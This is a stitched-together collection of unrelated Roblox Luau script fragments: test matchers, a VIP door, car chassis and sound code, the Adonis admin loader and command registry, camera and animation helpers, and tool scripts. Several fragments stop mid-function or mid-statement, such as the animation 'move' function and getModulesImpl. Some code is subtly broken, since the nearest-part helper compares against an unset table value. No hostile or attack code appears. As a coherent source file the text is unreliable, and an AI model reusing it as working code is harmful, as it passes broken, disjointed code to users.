--[=[ Use to test that the left padding between the given GuiObject or Rect and the other GuiObject or Rect. The last argument is optional. If nil, the matcher will pass only if the difference **left** edge of the given GuiObject or Rect and the **left** edge of the other GuiObject or Rect is zero or positive. ```lua -- Jest expect(instanceA).toBeInsideRightOf(instanceB) expect(instanceA).toBeInsideRightOf(instanceB, 10) expect(instanceA).toBeInsideRightOf(instanceB, NumberRange.new(0, 10)) ``` ```lua -- TestEZ expect(instanceA).to.be.insideRightOf(instanceB) expect(instanceA).to.be.insideRightOf(instanceB, 10) expect(instanceA).to.be.insideRightOf(instanceB, NumberRange.new(0, 10)) ``` @tag inside @within CollisionMatchers2D ]=]
local function insideRightOf(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange) local aRect = toRect(a) local bRect = toRect(b) local distanceFromSide = (aRect.Min - bRect.Min) if distance then if typeof(distance) == "number" then distance = NumberRange.new(distance) end return returnValue( distance.Min <= distanceFromSide.X and distance.Max >= distanceFromSide.X, "Was within range", "Was not within range ( " .. tostring(distance) .. ")" ) else return returnValue(distanceFromSide.X >= 0, "Was not left of the element", "Was too far left of the element") end end return insideRightOf
-- list of account names allowed to go through the door.
permission = {"YOURNAMEHERE"}--Put your friends name's here. You can add more. function checkOkToLetIn(name) for i = 1,#permission do if (string.upper(name) == string.upper(permission[i])) then return true end end return false end local Door = script.Parent function onTouched(hit) print("Door Hit") local human = hit.Parent:findFirstChild("Humanoid") if (human ~= nil ) then -- a human has touched this door! print("Human touched door") -- test the human's name against the permission list if (checkOkToLetIn(human.Parent.Name)) then print("Human passed test") Door.Transparency = 0.7 Door.CanCollide = false wait(1) -- this is how long the door is open Door.CanCollide = true Door.Transparency = 0 else human.Health= 0 -- delete this line of you want a non-killing VIP door end end end script.Parent.Touched:connect(onTouched)
--[[ Provides an interface to quickly run and report tests from a given object. ]]
local TestPlanner = require(script.Parent.TestPlanner) local TestRunner = require(script.Parent.TestRunner) local TextReporter = require(script.Parent.Reporters.TextReporter) local TestBootstrap = {} local function stripSpecSuffix(name) return (name:gsub("%.spec$", "")) end local function isSpecScript(aScript) return aScript:IsA("ModuleScript") and aScript.Name:match("%.spec$") end local function getPath(module, root) root = root or game local path = {} local last = module if last.Name == "init.spec" then -- Use the directory's node for init.spec files. last = last.Parent end while last ~= nil and last ~= root do table.insert(path, stripSpecSuffix(last.Name)) last = last.Parent end table.insert(path, stripSpecSuffix(root.Name)) return path end local function toStringPath(tablePath) local stringPath = "" local first = true for _, element in ipairs(tablePath) do if first then stringPath = element first = false else stringPath = element .. " " .. stringPath end end return stringPath end function TestBootstrap:getModulesImpl(root, modules, current) modules = modules or {} current = current or root if isSpecScript(current) then local method = require(current) local path = getPath(current, root) local pathString = toStringPath(path) table.insert(modules, { method = method, path = path, pathStringForSorting = pathString:lower() }) end end
--//Controller//--
Tool.Activated:Connect(function() if Configuration.OnCD.Value == false then ToolEvent:FireServer() end end)
-- Await initialization
repeat wait() until _G[Tool]; Plugin = _G[Tool].Plugin;
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=0 local trm=0 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (3*throt*shift*redline)+(trm*trmon*trmmult*(3-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
--Put in ServerScriptService
game.Players.PlayerAdded:connect(function(player) player.CharacterAdded:connect(function(character) --script.ToggleRagdoll:Clone().Parent = character script.RagdollRig:Clone().Parent = character script.Physics:Clone().Parent = character script.WindSetting:Clone().Parent = character script.RagdollConnect:Clone().Parent = character character:WaitForChild("Humanoid").Died:connect(function() character.UpperTorso:SetNetworkOwner(player) end) end) end)
--//Setup//--
local JarBody = script.Parent local Jar = JarBody.Parent
-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.
local CosmeticBullet = Instance.new("Part") CosmeticBullet.Material = Enum.Material.Neon CosmeticBullet.Color = Color3.fromRGB(0, 196, 255) CosmeticBullet.CanCollide = false CosmeticBullet.Anchored = true CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)
--//Script created by Brer_Bear on 1st of July 2018 --//Do not copy or edit without permission.
--Editable Values
local Drag = .14 --Drag Coefficient local F = 125 --Downforce at 300 SPS local R = 150 --Downforce at 300 SPS local Vol = 2.5
-- ROBLOX NOTE upstream: Added some utilities to support keeping the upstream code consistent
type unknown = any local CurrentModule = script.Parent local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local inspect = LuauPolyfill.util.inspect type Array<T> = LuauPolyfill.Array<T> local typesModule = require(CurrentModule.types) type InspectOptions = typesModule.InspectOptions function concatRestArgs(restArgs: Array<unknown>) local restStr = "" if #restArgs > 0 then restStr = " " .. table.concat(restArgs, " ") end return restStr end function getFormattedValue(value: unknown, inspectOptions: InspectOptions?) return if type(value) == "string" then value else inspect(value, inspectOptions) end function format(...) return formatter(nil, ...) end function formatWithOptions(inspectOptions: InspectOptions, fmt: unknown, ...) return formatter(inspectOptions, fmt, ...) end function formatter(inspectOptions: InspectOptions?, fmt: unknown, ...) local args = { ... } local fmtArgs = {} local extraArgs = {} if type(fmt) == "string" then local _, c = fmt:gsub("%%[sdj%%]", "") for key, value in pairs(args) do local formattedValue = getFormattedValue(value, inspectOptions) if key <= c then table.insert(fmtArgs, formattedValue) else table.insert(extraArgs, formattedValue) end end else fmt = inspect(fmt, inspectOptions) for _, value in pairs(args) do table.insert(extraArgs, getFormattedValue(value, inspectOptions)) end end return string.format(fmt, table.unpack(fmtArgs)) .. concatRestArgs(extraArgs) end return { format = format, formatWithOptions = formatWithOptions, concatRestArgs = concatRestArgs, }
--------------------------------------------------
script.Parent.Values.RPM.Changed:connect(function() intach.Rotation = -120 + script.Parent.Values.RPM.Value * 250 / 10500 end) script.Parent.Values.Velocity.Changed:connect(function(property) end) script.Parent.Values.PBrake.Changed:connect(function() end)
--// Init
return service.NewProxy({ __call = function(tab, data) local mutex = service.RunService:FindFirstChild("__Adonis_MODULE_MUTEX") if mutex then warn("\n-----------------------------------------------" .."\nAdonis server-side is already running! Aborting..." .."\n-----------------------------------------------") script:Destroy() return "FAILED" else mutex = service.New("StringValue", {Name = "__Adonis_MODULE_MUTEX", Archivable = false, Value = "Running"}) local mutexBackup = mutex:Clone() local function makePersistent(m) local connection1, connection2 = nil, nil connection1 = m:GetPropertyChangedSignal("Parent"):Connect(function() if not m or m.Parent ~= service.RunService then connection1:Disconnect() connection2:Disconnect() warn("Adonis module mutex removed; Regenerating...") makePersistent(mutexBackup) mutexBackup.Parent = service.RunService mutexBackup = mutexBackup:Clone() end end) connection2 = m:GetPropertyChangedSignal("Name"):Connect(function() if m and m.Name ~= "__Adonis_MODULE_MUTEX" then warn("Adonis module mutex renamed; Refreshing...") m.Name = "__Adonis_MODULE_MUTEX" end end) end makePersistent(mutex) mutex.Parent = service.RunService end --// Begin Script Loading setfenv(1, setmetatable({}, {__metatable = unique})) data = service.Wrap(data or {}) if not (data and data.Loader) then warn("WARNING: MainModule loaded without using the loader!") end if data and data.ModuleID == 8612978896 then warn("Currently using Adonis Nightly MainModule; intended for testing & development only!") end --// Server Variables local setTab = require(server.Deps.DefaultSettings) server.Defaults = setTab server.Settings = data.Settings or setTab.Settings or {} server.OriginalSettings = CloneTable(server.Settings, true) server.Descriptions = data.Descriptions or setTab.Descriptions or {} server.Messages = data.Messages or setTab.Settings.Messages or {} server.Order = data.Order or setTab.Order or {} server.Data = data or {} server.Model = data.Model or service.New("Model") server.ModelParent = data.ModelParent or service.ServerScriptService; server.Dropper = data.Dropper or service.New("Script") server.Loader = data.Loader or service.New("Script") server.Runner = data.Runner or service.New("Script") server.LoadModule = LoadModule server.LoadPackage = LoadPackage server.ServiceSpecific = ServiceSpecific server.Shared = Folder.Shared server.ServerPlugins = data.ServerPlugins server.ClientPlugins = data.ClientPlugins server.Client = Folder.Parent.Client locals.Settings = server.Settings locals.CodeName = server.CodeName --// THIS NEEDS TO BE DONE **BEFORE** ANY EVENTS ARE CONNECTED if server.Settings.HideScript and data.Model then data.Model.Parent = nil script:Destroy() end --// Copy client themes, plugins, and shared modules to the client folder local packagesToRunWithPlugins = {} local shared = service.New("Folder", { Name = "Shared"; Parent = server.Client; }) for _, module in ipairs(Folder.Shared:GetChildren()) do module:Clone().Parent = shared end for _, module in pairs(data.ClientPlugins or {}) do module:Clone().Parent = server.Client.Plugins end for _, theme in pairs(data.Themes or {}) do theme:Clone().Parent = server.Client.UI end for _, pkg in pairs(data.Packages or {}) do LoadPackage(pkg, Folder.Parent, false) end for setting, value in pairs(server.Defaults.Settings) do if server.Settings[setting] == nil then server.Settings[setting] = value end end for desc, value in pairs(server.Defaults.Descriptions) do if server.Descriptions[desc] == nil then server.Descriptions[desc] = value end end --// Bind cleanup service.DataModel:BindToClose(CleanUp) --server.CleanUp = CleanUp; --// Require some dependencies server.Typechecker = require(server.Shared.Typechecker) server.Changelog = require(server.Shared.Changelog) server.Credits = require(server.Shared.Credits) do local MaterialIcons = require(server.Shared.MatIcons) server.MatIcons = setmetatable({}, { __index = function(self, ind) local materialIcon = MaterialIcons[ind] if materialIcon then self[ind] = `rbxassetid://{materialIcon}` return self[ind] end return "" end, __metatable = "Adonis_MatIcons" }) end --// Load services for ind, serv in ipairs(SERVICES_WE_USE) do local temp = service[serv] end --// Load core modules for _, load in ipairs(CORE_LOADING_ORDER) do local CoreModule = Folder.Core:FindFirstChild(load) if CoreModule then LoadModule(CoreModule, true, nil, nil, true) --noenv, CoreModule end end --// Server Specific Service Functions ServiceSpecific.GetPlayers = server.Functions.GetPlayers --// Experimental, may have issues with Adonis tables that are protected metatables --ServiceSpecific.CloneTable = CloneTable --// Initialize Cores local runLast = {} local runAfterInit = {} local runAfterPlugins = {} for _, name in ipairs(CORE_LOADING_ORDER) do local core = server[name] if core then if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then if core.RunLast then table.insert(runLast, core.RunLast) core.RunLast = nil end if core.RunAfterInit then table.insert(runAfterInit, core.RunAfterInit) core.RunAfterInit = nil end if core.RunAfterPlugins then table.insert(runAfterPlugins, core.RunAfterPlugins) core.RunAfterPlugins = nil end if core.Init then core.Init(data) core.Init = nil end end end end --// Variables that rely on core modules being initialized server.Logs.Errors = ErrorLogs --// Load any afterinit functions from modules (init steps that require other modules to have finished loading) for _, f in pairs(runAfterInit) do f(data) end --// Load Plugins; enforced NoEnv policy, make sure your plugins has the 2nd argument defined! for _, module in ipairs(server.PluginsFolder:GetChildren()) do LoadModule(module, false, {script = module}, true, true) --noenv end for _, module in pairs(data.ServerPlugins or {}) do LoadModule(module, false, {script = module}) end --// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands) for _, f in pairs(runAfterPlugins) do f(data) end --// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end) server.AllModulesLoaded = true service.Events.AllModulesLoaded:Fire(os.time()) --// Queue handler --service.StartLoop("QueueHandler","Heartbeat",service.ProcessQueue) --// Stuff to run after absolutely everything else has had a chance to run and initialize and all that for _, f in pairs(runLast) do f(data) end if data.Loader then warn(`Loading Complete; Required by {data.Loader:GetFullName()}`) else warn("Loading Complete; No loader location provided") end if server.Logs then server.Logs.AddLog(server.Logs.Script, { Text = "Finished Loading"; Desc = "Adonis has finished loading"; }) else warn("SERVER.LOGS TABLE IS MISSING. THIS SHOULDN'T HAPPEN! SOMETHING WENT WRONG WHILE LOADING CORE MODULES(?)"); end service.Events.ServerInitialized:Fire(); return "SUCCESS" end; __tostring = function() return "Adonis" end; __metatable = "Adonis"; })
--------| Variables |--------
local easings = {}
--Unlock or Lock AR/AF timer if enclosure is locked
function LockButtons() ButtonAlert.ProximityPrompt.Enabled = false ButtonAttack.ProximityPrompt.Enabled = false ButtonCancel.ProximityPrompt.Enabled = false ButtonTest.ProximityPrompt.Enabled = false ButtonFire.ProximityPrompt.Enabled = false end function UnlockButtons() ButtonAlert.ProximityPrompt.Enabled = true ButtonAttack.ProximityPrompt.Enabled = true ButtonCancel.ProximityPrompt.Enabled = true ButtonTest.ProximityPrompt.Enabled = true ButtonFire.ProximityPrompt.Enabled = true end function Check() if script.Parent.Locked.Value == true then LockButtons() else UnlockButtons() end end Check() script.Parent.Locked.Changed:Connect(function() Check() end)
--[[Front]]
-- Tune.FSusDamping = 85 -- Dampening Tune.FSusStiffness = 2000 -- Stiffness Tune.FSusLength = 1 -- Suspension length (in studs) Tune.FPreComp = .25 -- Vehicle height, relative to your suspension settings Tune.FExtLimit = .8 -- Max Extension Travel (in studs) Tune.FCompLimit = .4 -- Max Compression Travel (in studs) Tune.FBaseOffset = { -- Suspension (steering point) base --[[Lateral]] 0 , -- positive = outward --[[Vertical]] 0 , -- positive = upward --[[Forward]] 0.256 } -- positive = forward Tune.FAxleOffset = { -- Suspension (axle point) base --[[Lateral]] 0 , -- positive = outward --[[Vertical]] 0 , -- positive = upward --[[Forward]] 0 } -- positive = forward Tune.FBricksVisible = false -- Makes the front suspension bricks visible (Debug) Tune.FConstsVisible = false -- Makes the front suspension constraints visible (Debug)
--[[ @class MarketPlaceManager Library of utility functions that handle the MarketPlace. ]]
local Products = require(script.Products) local module = {} module.Products = Products return module
--\\Main//--
for Number, Instance in pairs(game.Workspace:GetChildren()) do if Instance:IsA("Part") and Instance.Name == "Base" then Instance.Touched:Connect(function(Hit) local Player = PlayerService:GetPlayerFromCharacter(Hit.Parent) if not Player then return end Player.Character:FindFirstChild("Humanoid").Sit = true end) end end
--// Commands --// Highly recommended you disable Intellesense before editing this...
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server local service = Vargs.Service local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps, t local RegisterCommandDefinition local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Commands = server.Commands; Deps = server.Deps; t = server.Typechecker; local ValidateCommandDefinition = t.interface({ Prefix = t.string, Commands = t.array(t.string), Description = t.string, AdminLevel = t.union(t.string, t.number, t.nan, t.array(t.union(t.string, t.number, t.nan))), Fun = t.boolean, Hidden = t.boolean, Disabled = t.boolean, NoStudio = t.boolean, NonChattable = t.boolean, AllowDonors = t.boolean, Donors = t.boolean, Filter = t.boolean, Function = t.callback, ListUpdater = t.optional(t.union(t.string, t.callback)) }) function RegisterCommandDefinition(ind, cmd) if type(ind) ~= "string" then logError("Non-string command index:", typeof(ind), ind) Commands[ind] = nil return end if type(cmd) ~= "table" then logError("Non-table command definition:", ind) Commands[ind] = nil return end for opt, default in { Prefix = Settings.Prefix; Commands = {}; Description = "(No description)"; Fun = false; Hidden = false; Disabled = false; NoStudio = false; NonChattable = false; AllowDonors = false; Donors = false; CrossServerDenied = false; IsCrossServer = false; Filter = false; Function = function(plr) Remote.MakeGui(plr, "Output", {Message = "No command implementation"}) end } do if cmd[opt] == nil then cmd[opt] = default end end if cmd.Chattable ~= nil then cmd.NonChattable = not cmd.Chattable cmd.Chattable = nil warn("Deprecated 'Chattable' property found in command "..ind.."; switched to NonChattable = "..tostring(cmd.NonChattable)) end Admin.PrefixCache[cmd.Prefix] = true for _, v in cmd.Commands do Admin.CommandCache[string.lower(cmd.Prefix..v)] = ind end cmd.Args = cmd.Args or cmd.Arguments or {} local lvl = cmd.AdminLevel if type(lvl) == "string" and lvl ~= "Donors" then cmd.AdminLevel = Admin.StringToComLevel(lvl) elseif type(lvl) == "table" then for b, v in lvl do lvl[b] = Admin.StringToComLevel(v) end elseif type(lvl) == "nil" then cmd.AdminLevel = 0 end if cmd.ListUpdater then Logs.ListUpdaters[ind] = function(plr, ...) if not plr or Admin.CheckComLevel(Admin.GetLevel(plr), cmd.AdminLevel) then if type(cmd.ListUpdater) == "function" then return cmd.ListUpdater(plr, ...) end return Logs[cmd.ListUpdater] end end end local isValid, fault = ValidateCommandDefinition(cmd) if not isValid then logError("Invalid command definition table "..ind..":", fault) Commands[ind] = nil end rawset(Commands, ind, cmd) end --// Automatic New Command Caching and Ability to do server.Commands[":ff"] setmetatable(Commands, { __index = function(_, ind) if type(ind) ~= "string" then return nil end local targInd = Admin.CommandCache[string.lower(ind)] return if targInd then rawget(Commands, targInd) else rawget(Commands, ind) end; __newindex = function(_, ind, val) if val == nil then if rawget(Commands, ind) ~= nil then rawset(Commands, ind, nil) Logs.AddLog("Script", "Removed command definition:", ind) end elseif rawget(Commands, "RunAfterPlugins") then rawset(Commands, ind, val) else if rawget(Commands, ind) ~= nil then Logs.AddLog("Script", "Overwriting command definition:", ind) end RegisterCommandDefinition(ind, val) end end; }) Logs.AddLog("Script", "Loading Command Modules...") --// Load command modules if server.CommandModules then local env = GetEnv() for i, module in server.CommandModules:GetChildren() do local func = require(module) local ran, tab = pcall(func, Vargs, env) if ran and tab and type(tab) == "table" then for ind, cmd in tab do Commands[ind] = cmd end Logs.AddLog("Script", "Loaded Command Module: ".. module.Name) elseif not ran then warn("CMDMODULE ".. module.Name .. " failed to load:") warn(tostring(tab)) Logs.AddLog("Script", "Loading Command Module Failed: ".. module.Name) end end end --// Cache commands Admin.CacheCommands() rawset(Commands, "Init", nil) Logs.AddLog("Script", "Commands Module Initialized") end local function RunAfterPlugins() --// Load custom user-supplied commands in settings.Commands local commandEnv = GetEnv(nil, { script = server.Config and server.Config:FindFirstChild("Settings") or script; }) for ind, cmd in Settings.Commands or {} do if type(cmd) == "table" and cmd.Function then setfenv(cmd.Function, commandEnv) Commands[ind] = cmd end end --// Change command permissions based on settings local Trim = service.Trim for ind, cmd in Settings.Permissions or {} do local com, level = string.match(cmd, "^(.*):(.*)") if com and level then if string.find(level, ",") then local newLevels = {} for lvl in string.gmatch(level, "[^%s,]+") do table.insert(newLevels, Trim(lvl)) end Admin.SetPermission(com, newLevels) else Admin.SetPermission(com, level) end end end for ind, cmd in Commands do RegisterCommandDefinition(ind, cmd) end rawset(Commands, "RunAfterPlugins", nil) end server.Commands = { Init = Init; RunAfterPlugins = RunAfterPlugins; }; end
--[[ Given a `tweenInfo` and `currentTime`, returns a ratio which can be used to tween between two values over time. ]]
local TweenService = game:GetService("TweenService") local function getTweenRatio(tweenInfo: TweenInfo, currentTime: number): number local delay = tweenInfo.DelayTime local duration = tweenInfo.Time local reverses = tweenInfo.Reverses local numCycles = 1 + tweenInfo.RepeatCount local easeStyle = tweenInfo.EasingStyle local easeDirection = tweenInfo.EasingDirection local cycleDuration = delay + duration if reverses then cycleDuration += duration end if currentTime >= cycleDuration * numCycles then return 1 end local cycleTime = currentTime % cycleDuration if cycleTime <= delay then return 0 end local tweenProgress = (cycleTime - delay) / duration if tweenProgress > 1 then tweenProgress = 2 - tweenProgress end local ratio = TweenService:GetValue(tweenProgress, easeStyle, easeDirection) return ratio end return getTweenRatio
--[[ Retrieves at most one child from the children passed to a component. If passed nil or an empty table, will return nil. Throws an error if passed more than one child. ]]
local function oneChild(children) if not children then return nil end local key, child = next(children) if not child then return nil end local after = next(children, key) if after then error("Expected at most child, had more than one child.", 2) end return child end return oneChild
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Top Hat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2, 1, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,1,-1) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[ Module for obtaining the input state for the vehicle, using UserInputService ]]
local UserInputService = game:GetService("UserInputService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ClientVehicleBoosts = require(ReplicatedStorage.Source.ClientVehicleBoosts) local Flags = require(ReplicatedStorage.Source.Common.Flags) local FlagEnableBoosts = Flags.EnableBoosts local UserInput = {} local throttle = 0 local steer = 0 local actions = { Forwards = {Enum.KeyCode.W, Enum.KeyCode.Up}, Backwards = {Enum.KeyCode.S, Enum.KeyCode.Down}, Left = {Enum.KeyCode.A, Enum.KeyCode.Left}, Right = {Enum.KeyCode.D, Enum.KeyCode.Right}, Boost = {Enum.KeyCode.Space} } local function getActionFromInput(inputObject) for action, bindings in pairs(actions) do for _, keyCode in pairs(bindings) do if keyCode == inputObject.KeyCode then return action end end end end local function isActionHeld(action) local bindings = actions[action] for _, keyCode in pairs(bindings) do if UserInputService:IsKeyDown(keyCode) then return true end end return false end
-------------------------------------
equiped=false sp=script.Parent RayLength=10000 Spread=0 enabled=true reloading=false down=false r=game:service("RunService") last=0 last2=0 last3=0 last4=0 last5=0 last6=0 Bullet=Instance.new("Part") Bullet.Name="Bullet" Bullet.BrickColor=BrickColor.new("New Yeller") Bullet.Anchored=true Bullet.CanCollide=false Bullet.Locked=true Bullet.Size=Vector3.new(1,1,1)
--[=[ @tag Component Class `Start` is called when the component is started. At this point in time, it is safe to grab other components also bound to the same instance. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) local AnotherComponent = require(somewhere.AnotherComponent) function MyComponent:Start() -- e.g., grab another component: local another = self:GetComponent(AnotherComponent) end ``` ]=]
function Component:Start() end
--Functions
local function onTouched(hit) local Humanoid = hit.Parent:FindFirstChild("Humanoid") local player = game.Players:GetPlayerFromCharacter(hit.Parent) if Humanoid and Debounce == false then local leaderstats = player:FindFirstChild("leaderstats") Debounce = true if Debounce == true and leaderstats then local sound = script.Parent["Game Sound Correct"] if not sound.IsPlaying then sound:Play() leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN wait(10) Debounce = false end end end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 3 -- cooldown for use of the tool again BoneModelName = "OWO zone" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) print("//INSPARE: AC6 Loaded - Build "..ver) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --RPM RPM() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end) -- ~15 c/s while wait(.0667) do --Power Engine() --Flip if _Tune.AutoFlip then Flip() end if Stats.Fuel == 0 then _IsOn = false end end
-- Helper function for Determinant of 3x3, not in CameraUtils for performance reasons
local function Det3x3(a: number,b: number,c: number,d: number,e: number,f: number,g: number,h: number,i: number): number return (a*(e*i-f*h)-b*(d*i-f*g)+c*(d*h-e*g)) end
--function moveSit() -- RightShoulder.MaxVelocity = 0.15 -- LeftShoulder.MaxVelocity = 0.15 -- RightShoulder:SetDesiredAngle(3.14 /2) -- LeftShoulder:SetDesiredAngle(-3.14 /2) -- RightHip:SetDesiredAngle(3.14 /2) -- LeftHip:SetDesiredAngle(-3.14 /2) --end
local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--[==[Documentation uses excess information container (titles: tip, warning, info): :::title Information here. ::: code example container: ```lua ``` symbol @ examples: @interface Name .Variable objectType .functionName () -> () @return a, b, ... or DataType | DataType | ... or Class<DataType | DataType | ...> @param a, b, ... Extra Information: Why do you see people doing [=[]=] for comments? Answer: preference Naming: * camelCase unless it is from an API * CAPATAL_SNAKECASE for constant data (exclude outer objects (Instance, Required module)) Types: * Avoid using `any` type, instead use `unknown` * `never` is for points in code that will "never" be reached (You will not come across this ever) ]==]
--^^^ Made by Anaminus ^^^---
function module.getSide(p,s) local cf = p.CFrame if s.x > 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(0,-1,0),math.pi/2)).lookVector elseif s.x < 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(0,1,0),math.pi/2)).lookVector end if s.y < 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(-1,0,0),math.pi/2)).lookVector elseif s.y > 0 then return (cf*CFrame.fromAxisAngle(Vector3.new(1,0,0),math.pi/2)).lookVector end if s.z < 0 then return cf.lookVector elseif s.z > 0 then return -cf.lookVector end end function module.debounce(func) local debounce = false return function(...) if not debounce then debounce = true func(...) debounce = false end end end function module.part(p) local parts = {} local function getParts(m) for _,v in pairs(m:GetChildren()) do if v:IsA("Part") and v ~= p then table.insert(parts,#parts+1,v) elseif v:IsA("Model") then getParts(v) end end end getParts(game.Workspace) local winner = {} for _,q in pairs(parts) do local mag = (q.Position-p.Position).magnitude if mag < winner[1] then winner[1] = mag winner[2] = q end end return winner[2] end function module.weld(p1,p2) local w = Instance.new("Weld") w.Part0 = p1 w.Part1 = p2 w.C0 = p1.CFrame:inverse() * p2.CFrame w.Parent = p1 return w end function module.gpos(part,pos,ignore,dist) if dist == 0 then dist = 999 end local r = Ray.new(part.Position,(pos-part.Position).unit*dist) return workspace:FindPartOnRayWithIgnoreList(r,ignore) end function module.volume(m) return m.Size.x * m.Size.y * m.Size.z end function module.visualizeRay(origin,pos,laser) laser.Size = Vector3.new(laser.Size.x,laser.Size.y,(pos - origin).magnitude) laser.CFrame = CFrame.new((origin + pos)/Vector3.new(2,2,2),pos) end function module.getModelVolume(model) if model == nil then return 0 end local mass = 0 local function getModelMass(m) for i,v in pairs(m:GetChildren()) do if v:IsA("BasePart") then mass = mass + module.volume(v) elseif v:IsA("Model") then getModelMass(v) end end end getModelMass(model) return mass end return module
-- Ritter's loose bounding sphere algorithm
function CameraUtils.getLooseBoundingSphere(parts) local points = table.create(#parts) for idx, part in pairs(parts) do points[idx] = part.Position end -- pick an arbitrary starting point local x = points[1] -- get y, the point furthest from x local y = x local yDist = 0 for _, p in ipairs(points) do local pDist = (p - x).Magnitude if pDist > yDist then y = p yDist = pDist end end -- get z, the point furthest from y local z = y local zDist = 0 for _, p in ipairs(points) do local pDist = (p - y).Magnitude if pDist > zDist then z = p zDist = pDist end end -- use (y, z) as the initial bounding sphere local sc = (y + z)*0.5 local sr = (y - z).Magnitude*0.5 -- expand sphere to fit any outlying points for _, p in ipairs(points) do local pDist = (p - sc).Magnitude if pDist > sr then -- shift to midpoint sc = sc + (pDist - sr)*0.5*(p - sc).Unit -- expand sr = (pDist + sr)*0.5 end end return sc, sr end
--!strict -- RandomChance -- Yuuwa0519 -- 2022-03-20
--[[Controls]]
